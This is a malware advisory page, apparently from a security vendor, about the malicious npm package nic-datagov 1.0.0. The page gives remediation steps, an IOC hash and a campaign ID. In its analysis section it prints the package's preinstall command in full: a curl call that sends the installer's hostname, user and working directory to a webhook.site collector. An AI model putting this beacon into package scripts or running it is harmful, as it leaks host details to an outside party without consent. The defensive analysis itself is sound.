Which versions of nic-datagov are malicious?

The following npm versions of nic-datagov are flagged malicious: 1.0.0. Treat any of these as compromised.

How do I remediate nic-datagov if I installed it?

Remove nic-datagov from your project and lockfile, then assume any secrets accessible to the build or runtime were exposed: rotate API keys, tokens, and credentials, and audit for unexpected outbound network activity or persistence. Use O3 Security's dependency scanner to confirm the package and its artifacts are fully purged across your stack.

Is nic-datagov part of a known attack campaign?

Yes — nic-datagov is associated with the IN-MAL-2026-006709 campaign. Packages in the same campaign often share infrastructure and payloads, so check whether any related packages are also in your dependency tree.

Can O3 Security detect nic-datagov in my codebase?

Yes. O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, blocking nic-datagov and packages like it before any post-install script runs.

Malicious package

nic-datagovnpm

Malicious code in nic-datagov (npm) Remove it immediately and rotate any exposed credentials.

MAL-2026-5836

Immediate action

Remove the package, then rotate any secrets the build/runtime could reach.

npm uninstall nic-datagov

What this malware does

package.json declares a preinstall script that runs curl --data-urlencode "info=$(hostname && whoami && pwd)" https://webhook.site/1ea0386f-dcc0-4f1b-bdbb-61732d6535fb/nic-datagov, sending the installer's hostname, current user, and working directory to a webhook.site collector on npm install. The package ships no library code and has no main/files consistent with its stated 'NIC Data.gov.in integration library' description — its sole effect on install is the recon beacon. The name and description impersonate India's NIC/data.gov.in branding, consistent with a targeted dependency-confusion probe against an internal/government namespace.

Malicious versions

1 flagged

1.0.0

Indicators of compromise (SHA-256)

89be7e0ea4d164dad90f5476041928d54d5502a066e22d501373e1bbf9dc8bbf

Frequently asked questions

No. nic-datagov on npm has been identified as a malicious package (version 1.0.0 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-006709

References

npmjs.com

Credits

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